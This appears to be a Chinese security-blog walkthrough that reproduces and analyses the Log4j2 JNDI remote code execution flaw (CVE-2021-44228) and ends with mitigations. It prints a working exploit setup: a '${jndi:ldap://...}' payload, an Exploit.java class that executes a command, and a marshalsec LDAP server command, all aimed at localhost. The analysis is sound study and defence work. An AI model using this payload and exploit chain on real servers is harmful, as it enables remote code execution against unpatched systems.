freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Apache Log4j2 RCE命令执行漏洞分析
Myling 2024-09-04 21:18:21 170315

一、简介

最近闲来无事,在闲暇时间搭建环境复现并分析了经典Apache Log4j2 RCE 漏洞(CVE-2021-44228) ,有感兴趣的师傅们可以研究学习,共同成长进步。

Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题,是目前最优秀的Java日志框架之一。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。

该漏洞的触发点在于利用org.apache.logging.log4j.Logger进行log或error等记录操作时未对日志message信息进行有效检查,从而导致漏洞发生。

影响版本

Apache Log4j 2.x <= 2.14.1

二、漏洞环境搭建

先新建一个maven工程

1725454133_66d85735d1c93375f5ebd.png!small?1725454139605

点击Next

1725454151_66d857470d7aa5718b751.png!small?1725454156273

给工程随便起一个名字: Apache Log4j2-test

1725454186_66d8576a5df26e0bcb35e.png!small?1725454191422

在生成的pom.xml文件中添加Apache Log4j依赖

1725454200_66d85778a8687348ca24f.png!small?1725454205896


<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.0</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.0</version>
</dependency>
</dependencies>

然后重构maven工程

1725454250_66d857aa704b166c4a581.png!small?1725454255959

在src/main/java下新建咱们的测试文件

1725454267_66d857bbb438b367a57ba.png!small?1725454272696


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import sun.applet.Main;

public class log4j {
private static Logger LOG=LogManager.getLogger(Main.class);
public static void main(String[] args) {
LOG.error("${jndi:ldap://localhost:9394/Exploit}");
}
}

三、漏洞复现

新建一个攻击文件Exploit.java,文件内容如下:

1725454304_66d857e030baee27d15f6.png!small?1725454309170


import java.lang.Runtime;
import java.lang.Process;

public class  Exploit{
static {
try {
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}

编译成class文件 : javac Exploit.java

网上有说漏洞能否复现成功和java版本有关系(复现环境的jdk版本最好<=8u191),建议先查看一下java版本8u301(不过照样复现成功^_^)

1725454351_66d8580f314e71db28b0a.png!small?1725454356267


使用python起一个web服务

python3 -m http.server 8888

1725454364_66d8581cf24debfd5699e.png!small?1725454369895


在有marshalsec-0.0.3-SNAPSHOT-all.jar的目录下执行以下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" 9394

1725454380_66d8582ce07128f3fd94f.png!small?1725454385918

运行log4j.java

1725454400_66d8584076e47d485cde8.png!small?1725454405403

成功弹出计算器

1725454537_66d858c9ee2531219898e.png!small?1725454543065

1725454544_66d858d0ec03748018578.png!small?1725454549977

1725454551_66d858d752d3a9702b3b9.png!small?1725454556207


四、漏洞分析

漏洞的关键点在log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class#format

该函数会将收到的消息匹配以${开始}结尾中间的所有字符,调用一些允许范围内的语法

1725454586_66d858faa537c6fbf19b6.png!small?1725454591511

使用正向分析。先从咱们的入口进入

1725454599_66d859077b2edb39d11de.png!small?1725454604580

来到log4j-api-2.12.0.jar!\org\apache\logging\log4j\spi\AbstractLogger.class#error,调用logIfEnabled方法,跟进如下图所示:

1725454617_66d859190b74cc704cdd0.png!small?1725454622345

这里有一个判断,符合条件才能调用logMessage方法,就大致说一下结论吧:level<=200 就行

level对应表,使用ERROR,FATAL,OFF满足条件
OFF(0),
FATAL(100),
ERROR(200),
WARN(300),
INFO(400),
DEBUG(500),
TRACE(600),
ALL(2147483647);
如WARN、INFO、DEBUG、ALL,则无法触发该漏洞。也就是说,漏洞能否成功触发与设置的日志Level有关。

1725454666_66d8594a9e62c6d2d33c9.png!small?1725454671853


接下来就是一步步进入一系列函数

1725454679_66d859579d824a143f180.png!small?1725454684606

1725454683_66d8595bad7ed64cd668a.png!small?1725454688771

1725454691_66d859636e4dd4683cede.png!small?1725454696462

1725454717_66d8597d4f647b6935ead.png!small?1725454722729

我们直接来到关键地方log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\Logger.class#logMessage,实例化一个DefaultReliabilityStrategy类,然后调用其log方法

1725454748_66d8599cb88de85ec401b.png!small?1725454753693

先来到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\DefaultReliabilityStrategy.class#log,调用this.loggerConfig.log方法,this.loggerConfig为LoggerConfig

1725454762_66d859aace51272688e06.png!small?1725454767886

进入到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\LoggerConfig.class#log函数,先将咱们的LOG.error中的消息(data参数)和一些其他杂七杂八的配置整合到进logEvent,然后调用this.log方法

1725454776_66d859b8c8addcfad9940.png!small?1725454781960

进入判断,这个不用管,默认会进入判断语句里面,可以看到此时我们的payload存放在messageFormat中

1725454790_66d859c6f3d18a8d4502e.png!small?1725454796299

跟进到processLogEvent函数,还是默认

1725454808_66d859d83a17e090a36cd.png!small?1725454813479

来到callAppenders,实例化一个AppenderControl类,然后调用其callAppender函数

1725454821_66d859e5ac3ce463bf30d.png!small?1725454827081

跟进到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\AppenderControl.class#callAppender

1725454834_66d859f2167a61572d947.png!small?1725454839104

还是常规的各种函数调用,一路都是跟着默认走

1725454856_66d85a08932b80cce619b.png!small?1725454861537

1725454862_66d85a0ea415d27517423.png!small?1725454867495

1725454867_66d85a1373d868edf4a39.png!small?1725454872439

log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\appender\AbstractOutputStreamAppender.class#append

1725454879_66d85a1fbaeb147196adf.png!small?1725454884776


1725454885_66d85a2552d900eee34dc.png!small?1725454890258

1725454891_66d85a2b9a470760897cb.png!small?1725454896563

1725454899_66d85a336e1948a6dd37d.png!small?1725454904750

1725454905_66d85a39a3b988f7f4b0e.png!small?1725454910654


来到关键点之一log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\layout\PatternLayout.class#toSerializable,跟进i参数依次调用对应的类的format方法。其中就有咱们漏洞的主人公MessagePatternConverter

8 = {PatternFormatter@1872} "org.apache.logging.log4j.core.pattern.PatternFormatter@752325ad[converter=org.apache.logging.log4j.core.pattern.MessagePatternConverter@279fedbd, field=org.apache.logging.log4j.core.pattern.FormattingInfo@ba2f4ec[leftAlign=false, maxLength=2147483647, minLength=0, leftTruncate=true, zeroPad=false]]"

1725454922_66d85a4a8fcbfcc4ca48b.png!small?1725454928015


来到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class#format,取出${}里面的内容然后调用

workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));

漏洞关键点二:参数是调用log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\lookup\StrSubstitutor.class#replace处理咱们的payload(event中messageFormat参数值)

在函数114行首先要判断noLookups这个变量的值,noLookups默认为false,意思为开启JNDI格式化功能,这也是为什么修复方法中有一条是设置log4j2.formatMsgNoLookups=True

1725454938_66d85a5abad22d4fbf347.png!small?1725454944226

返回值会调用this.substitute进行判断

1725454952_66d85a6877a0f5dc31463.png!small?1725454957795

StrSubstitutor.class#substitute的374行会调用resolveVariable函数

1725454964_66d85a7434d18b4a116a2.png!small?1725454969394

该函数先获取StrLookup类的VariableResolver初始化配置信息:{date, java, marker, ctx, jndi, main, jvmrunargs, sys, env, log4j}

然后调用resolver.lookup方法

1725454977_66d85a815b28b4545b970.png!small?1725454982495

有多种不同的lookup方法,跟进payload中指定的命令而定

1725454988_66d85a8cbb45c411d1b28.png!small?1725454994159


当构造的event的prefix为jndi时,则通过org.apache.logging.log4j.core.lookup.JndiLookup的lookup()方法处理,从而触发JNDI漏洞利用。

访问ldap指定的地址然后执行恶意类造成RCE

1725455003_66d85a9be4149a605173e.png!small?1725455009188


调用链如下:

<clinit>:11, Exploit
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:198, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1060, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:982, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:878, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:433, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:334, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:233, PatternLayout (org.apache.logging.log4j.core.layout)
encode:218, PatternLayout (org.apache.logging.log4j.core.layout)
encode:58, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:464, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:448, LoggerConfig (org.apache.logging.log4j.core.config)
log:431, LoggerConfig (org.apache.logging.log4j.core.config)
log:406, LoggerConfig (org.apache.logging.log4j.core.config)
log:49, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
logMessage:146, Logger (org.apache.logging.log4j.core)
tryLogMessage:2170, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2125, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2108, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2002, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1974, AbstractLogger (org.apache.logging.log4j.spi)
error:731, AbstractLogger (org.apache.logging.log4j.spi)
main:8, log4j

五、漏洞修复

(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)在应用程序的classpath下添加log4j2.component.properties配置文件文件,文件内容:log4j2.formatMsgNoLookups=True

(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true


*该文章仅用于安全技术分享,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责文章作者不为此承担任何责任。*

# web安全 # 漏洞分析
本文为 Myling 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
Myling LV.2
理想主义的花朵扎根在现实的土壤上 ~
  • 5 文章数
  • 21 关注者
记一次小程序渗透测试+分享挖SRC小技巧
2024-12-05
向日葵远程控制软件远程代码执行漏洞复现(CNVD-2022-10270, CNVD-2022-03672)
2024-11-28
渗透测试 | 某系统垂直越权漏洞的挖掘
2024-10-22
文章目录